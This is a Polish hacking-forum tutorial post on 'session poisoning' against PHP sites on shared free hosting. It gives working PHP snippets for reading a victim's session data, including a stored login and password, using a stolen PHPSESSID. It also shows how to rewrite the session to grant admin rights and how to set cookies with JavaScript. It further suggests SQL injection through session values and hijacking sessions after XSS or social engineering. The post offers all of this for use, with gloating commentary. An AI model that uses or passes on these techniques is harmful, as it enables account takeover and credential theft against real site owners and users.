[Tutorial]Session Poisoning

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
<div align='center'>Session Poisoning
by Magnefikko</div>

Witam h4xi0rów, h4xi0rki, informatyków, elektryków, hydraulików, script kiddie, lamerów, gości od zakładania kablówki, listonoszy, administratorów, kiboli, Sare Goldfarb z Requiem for a Dream i Pana Ogórka xD
Dzisiaj zajmiemy się atakiem typu session poisoning. Prosty i przyjemny atak który może nam pozwolić na na prawdę wiele ;-)
Dobra, zaczynajmy. Słyszeliście co to sesja? Tak? To posłuchajcie jeszcze raz.
Kod:
Sesja to w informatyce obiekt, zapamiętujący przez pewien czas na serwerze szczegóły dotyczące połączenia z klientem. Cechą charakterystyczną sesji jest to, że przypisane do niej dane mają przeważnie charakter chwilowy, ulotny (w przeciwieństwie np. do preferencji przypisywanych do konta klienta).
Każda sesja ma swój identyfikator. Przechowywany jest zwykle w "ciastku" PHPSESSID. Jak to wykorzystać?

Weźmy sobie taki przykład:
Prosta strona. Wchodzimy, wpisujemy login i hasło, przenosimy się na jakąśtam stronę. Jesteśmy zalogowani. Utworzona zostaje sesja, jej identyfikator znajduje się w ciachu PHPSESSID.
Korci Was żeby zobaczyć jakie zmienne znajdują się w tablicy $_SESSION? Jakie znacie metody? LFI i obejrzenie kodu pliku który je ustala? A jakie macie szanse że znajdziecie błąd albo wbijecie się na FTP? Niewielkie.
Zakładamy że strona którą chcemy zownować stoi sobie na jakimś małym, darmowym serwerze na którym i my możemy sobie założyć stronę(konto). Skąd to założenie? A stąd, że My, użytkownicy HF, jesteśmy biedni i ledwo stać nas na chleb, akademik i greckie wina rocznik 1842!
Tak więc, chcemy sobie zobaczyć cóż ciekawego jest w sesji. Jak wiecie, sesja zapisana jest na serwerze (tu mała uwaga - na serwerach typu yoyo.pl może pojawić się pewien problem - jest tam kilka komputerów-serwerów. Musimy utrafić na ten, na którym znajduje się strona ofiary. Podobnież dobrą metodą jest nazywanie strony podobnie do strony-ofiary, ważne są zwłaszcza dwa pierwsze znaki. Przykładowo, atakując stronę granie.yoyo.pl zakładamy stronę greckiewino.yoyo.pl) na którym stoi strona. Zarejestrujmy się więc na nim!
Po ekscytującym procesie rejestracji napiszmy sobie skrypt PHP który będzie wyświetlał zawartosć sesji o ID równym temu badziewiu które mamy w PHPSESSID.
Kod:
<?php
    session_start();    
    var_dump($_SESSION);
?>
Teraz wchodzimy na stronę którą chcemy "popsuć", logujemy się i zabieramy sobie PHPSESSID (na przykład używając w pasku adresu java script: prompt("", document.cookie)).
Teraz wchodzimy na naszą stronę, do cud-skryptu PHP i wklejamy ciacho PHPSESSID (jeżeli nie mamy wspaniałych narzędzi a'la Live HTTP Headers czy edytor opery, wklepujemy w pasku adresu java script:alert(document.cookie = "PHPSESSID=gaf435gsf4fsa35gblablabla");). Odświerzamy stronę i...
Kod:
array(3) { ["Login"]=> &string(10) "Magnefikko" ["Pass"]=> &string(12) "tajnejakchxj" ["IAdmin"]=> &string(2) "NO" }
YEEEAH! EEEAY! ROCK AND ROOL! ROCK AND ROOL! FEEL THIS FUCKING PAIN!
(taki cytat xD)
Tak oto wyświetliliśmy sobie zawartość tabeli $_SESSION. Login i hasło... bardzo ładnie. Teraz możemy spróbować zmienić login, spróbować walnąć przez to SQL Injection (istnieje szansa że zmienne w tablicy $_SESSION nie są filtrowane), porobić inne dziwne rzeczy.
Kod:
["IAdmin"]=> &string(2) "NO"
Chodzi Wam po głowie zmienić "NO" na "YES"? Czemu nie :)
Jeżeli na serwerze działają register globals, możemy to zrobić chociażby przez pasek adresu.
Kod:
http://www.atakowanastrona.pl/index.php?IAdmin=YES
A jeśli nie... zaraz, mamy identyfikator sesji i możemy na owej sesji działać!
Kod:
<?php
session_start();
$_SESSION['Login'] = "Magnefikko";
$_SESSION['Pass'] = "tajnejakchxj";
$_SESSION['IAdmin'] = "YES";
?>
Wklejamy ID sesji, odświerzamy stronę, wchodzimy na stronę atakowaną i... "Welcome in us fucking admin panel!" ;-)

Możemy też zastosować sesje w inny sposób. Na przykład, przechwytujemy PHPSESSID ofiary za pomocą ataku XSS (albo np. socjotechniki) i odczytujemy sobie wartości. Jeżeli nie ma takiej możliwości, wklejamy sobie ID do ciastek strony i jesteśmy zalogowani na jego konto. Oczywiście nie zawsze. Czesto stosowane są zabezpieczenia sesji - na przykład sprawdzają IP, jak to czyni np. phpBB.

Hmm... tutorial trochę bez ładu i składu, brzydki, napisany językiem kolokwialnym... ale ostatecznie liczy się treść, nie forma, czyż nie? ;-)

Miłej zabawy.
 
Do góry Bottom